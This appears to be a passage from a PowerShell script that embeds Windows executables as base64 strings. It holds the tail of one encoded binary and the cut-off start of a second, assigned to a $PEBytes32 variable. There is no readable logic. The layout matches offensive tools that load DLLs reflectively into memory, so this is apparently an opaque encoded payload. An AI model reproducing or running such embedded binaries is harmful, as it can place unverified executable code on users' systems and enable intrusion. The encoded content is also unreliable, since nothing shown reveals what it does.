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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABABAEwBAAA4okCiSKJgomiicKJ4opCimKKgogijGKMoozijSKNYo2ijeKOIo5ijqKO4o8ij2KPoo/ijCKQYpCikOKRIpFikaKR4pIikmKSopLikyKTYpOik+KQIpRilKKU4pUilWKVopXiliKWYpailuKXIpdil6KX4pQimGKYopjimSKZYpmimeKaIppimqKa4psim2KbopvimCKcYpyinOKdIp1inaKd4p4inmKe4p8in2Kfop/inCKgYqCioOKhIqFioaKh4qIiomKioqLioyKjYqOio+KgIqRipKKk4qUipWKloqXipiKmYqaipuKnIqdip6Kn4qQiqGKooqjiqSKpYqmiqeKqIqpiqqKq4qsiq2KroqviqCKsYqyirOKtIq1iraKt4q4irmKuoq7iryKvYq+ir+KsIrBisKKw4rEisWKxorHisiKwAIAEAlAAAAPCl+KUApgimEKYYpiCmKKYwpjimQKZIplCmWKZgpmimcKZ4poCmiKaQppimoKaoprCmuKbApsim0KbYpuCm+KYApwinEKcYpyCnKKcwpzinQKdIp1CnWKdIqFCoWKioqLioyKjYqOio+KgIqRipKKk4qUipWKloqXipiKmYqaipuKnIqdip6Kn4qQiqADABABgAAAAQpBikIKQopMCsyKzQrNisAEABAPgAAACQqKCosKjAqNCo4KjwqACpEKkgqTCpQKlQqWCpcKmAqZCpoKmwqcCp0KngqfCpAKoQqiCqMKpAqlCqYKpwqoCqkKqgqrCqwKrQquCq8KoAqxCrIKswq0CrUKtgq3CrgKuQq6CrsKvAq9Cr4KvwqwCsEKwgrDCsQKxQrGCscKyArJCsoKywrMCs0KzgrPCsAK0QrSCtMK1ArVCtYK1wrYCtkK2grbCtwK3QreCt8K0ArhCuIK4wrkCuUK5grnCugK6QrqCusK7ArtCu4K7wrgCvEK8grzCvQK9Qr2CvcK+Ar5CvoK+wr8Cv0K/gr/CvAAAAUAEACAIAAACgEKAgoDCgQKBQoGCgcKCAoJCgoKCwoMCg0KDgoPCgAKEQoSChMKFAoVChYKFwoYChkKGgobChwKHQoeCh8KEAohCiIKIwokCiUKJgonCigKKQoqCisKLAotCi4KLwogCjEKMgozCjQKNQo2CjcKOAo5CjoKOwo8Cj0KPgo/CjAKQQpCCkMKRApFCkYKRwpICkkKSgpLCkwKTQpOCk8KQApRClIKUwpUClUKVgpXClgKWQpaClsKXApdCl4KXwpQCmEKYgpjCmQKZQpmCmcKaAppCmoKawpsCm2KbopvimCKcYpyinOKdIp1inaKd4p4inmKeop7inyKfYp+in+KcIqBioKKg4qEioWKhoqHioiKiYqKiouKjIqNio6Kj4qAipGKkoqTipSKlYqWipeKmIqZipqKm4qcip2KnoqfipCKoYqiiqOKpIqliqaKp4qoiqmKqoqriqyKrYquiq+KoIqxirKKs4q0irWKtoq3iriKuYq6iruKvIq9ir6Kv4qwisGKworDisSKxYrGiseKyIrJisqKy4rMis2KzorPisCK0YrSitOK1IrVitaK14rYitmK2orbityK3Yreit+K0IrhiuKK44rkiuWK5orniuiK6YrqiuuK7Irtiu6K74rgivGK8orzivSK9Yr2iveK+Ir5ivqK+4r8iv2K/or/ivAGABAKwAAAAIoBigKKA4oEigWKBooHigiKCYoKiguKDIoNig6KD4oAihGKEooTihSKFYoWiheKGIoZihqKG4ocih2KHoofihCKIYoiiiOKJIoliiaKJ4ooiimKKooriiyKLYouii+KIIoxijKKM4o0ijWKNoo3ijiKOYo6ijuKPIo9ij6KP4owikGKQopDikSKRYpGikeKSIpJikqKS4pMik2KTopPikCKUAAABwAQDMAAAAcKB4oICgiKCQoJigoKCooLCguKDAoMig0KDYoOCg6KDwoPigAKEIoRChGKEgoSihMKE4oUChSKFQoVihYKFooXCheKGAoYihkKGYoaChqKGwobihwKHIodCh2KHgoeih8KH4oQCiCKIQohiiIKIoojCiOKJAokiiUKJYomCiaKJwoniigKKIopCimKKgoqiisKK4osCiyKLQotii4KLoovCi+KIAowijEKMYoyCjKKMwozijQKNIo1CjWKNgo2ijcKN4owCAAQDMAAAA2KLgouii8KL4ogCjCKMQoxijIKMoozCjOKNAo0ijUKNYo2CjaKNwo3ijgKOIo5CjmKOgo6ijsKO4o8CjyKPQo9ij4KPoo/Cj+KMApAikEKQYpCCkKKQwpDikQKRIpFCkWKRgpGikcKR4pICkiKSQpJikoKSopLCkuKTApMik0KTYpOCk6KTwpPikAKUIpRClGKUgpSilMKU4pUClSKVQpVilYKVopXCleKWApYilkKWYpaClqKWwpbilwKXIpdCl2KU4qQDAAQAkAQAAAKAooFCgeKCgoNCgGKNQplimYKZopnCmeKaApoimkKaYpqCmqKawprimwKbIptCm2Kbgpuim8Kb4pgCnCKcQpxinIKcopzCnOKdAp0inUKdYp2CnaKdwp3ingKeIp5CnmKegp7CnuKfAp8in0KfYp+Cn6Kfwp/inAKgIqBCoGKggqCioMKg4qECoSKhQqFioYKhoqHCoeKiAqIiokKiYqKCoqKiwqLiowKjIqNCo2KjgqOio8Kj4qACpCKkQqVipeKmYqbip2KkQqiiqMKo4qkCqiKqQqpiqaKzQrtiu4K7orvCu+K4ArwivEK8YryivMK84r0CvSK9Qr1ivYK9or3CveK+Ir5CvmK+gr6ivsK+4r8CvyK/Qr+Cv8K8A0AEASAAAAKij4KMYpEikgKS4pPikMKVopaCl4KUQpjimYKaIprCm2KYApyinUKd4p6in4KcQqDioYKiAqKioyKjQqNioAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + [String]$PEBytes32 = "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